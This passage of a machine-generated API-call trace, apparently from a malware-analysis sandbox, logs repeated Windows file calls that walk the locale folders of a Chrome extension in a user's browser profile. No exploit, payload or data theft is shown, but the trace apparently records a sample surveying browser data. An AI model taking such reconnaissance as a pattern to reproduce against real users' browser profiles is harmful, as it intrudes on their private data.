data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee35a7a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee35f5c0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee35f5c0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", lpFilePart=0x0) returned 0x7d [0069.903] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.903] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", lpFilePart=0x0) returned 0x7d [0069.903] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.903] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.903] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", lpFilePart=0x0) returned 0x7e [0069.903] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3643e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee366af0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee366af0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", lpFilePart=0x0) returned 0x7e [0069.904] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.904] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", lpFilePart=0x0) returned 0x7e [0069.904] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.904] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", lpFilePart=0x0) returned 0x7d [0069.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee36b910, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee36e020, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee36e020, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", lpFilePart=0x0) returned 0x7d [0069.905] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.905] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", lpFilePart=0x0) returned 0x7d [0069.905] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.905] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", lpFilePart=0x0) returned 0x80 [0069.905] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee372e40, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee375550, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee375550, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", lpFilePart=0x0) returned 0x80 [0069.905] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.905] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", lpFilePart=0x0) returned 0x80 [0069.906] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.906] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.906] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", lpFilePart=0x0) returned 0x7d [0069.906] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee37a370, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee37ca80, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee37ca80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", lpFilePart=0x0) returned 0x7d [0069.907] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.907] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", lpFilePart=0x0) returned 0x7d [0069.907] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.907] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.907] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", lpFilePart=0x0) returned 0x7d [0069.907] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee3818a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee383fb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee383fb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", lpFilePart=0x0) returned 0x7d [0069.908] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.908] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", lpFilePart=0x0) returned 0x7d [0069.908] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.908] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", lpFilePart=0x0) returned 0x7d [0069.908] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee388dd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee38b4e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee38b4e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.909] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", lpFilePart=0x0) returned 0x7d [0069.909] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.909] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.909] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi", lpFilePart=0x0) returned 0x7d [0069.909] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.909] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.909] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", lpFilePart=0x0) returned 0x7d [0069.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee390300, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee392a10, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee392a10, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.910] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", lpFilePart=0x0) returned 0x7d [0069.910] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.910] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.910] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr", lpFilePart=0x0) returned 0x7d [0069.910] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.910] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.910] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", lpFilePart=0x0) returned 0x7d [0069.910] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee397830, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee399f40, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee399f40, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.911] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu", lpFilePart=0x0) returned 0x7d [0069.911] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.911] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.911] GetFullPathNameW (in: 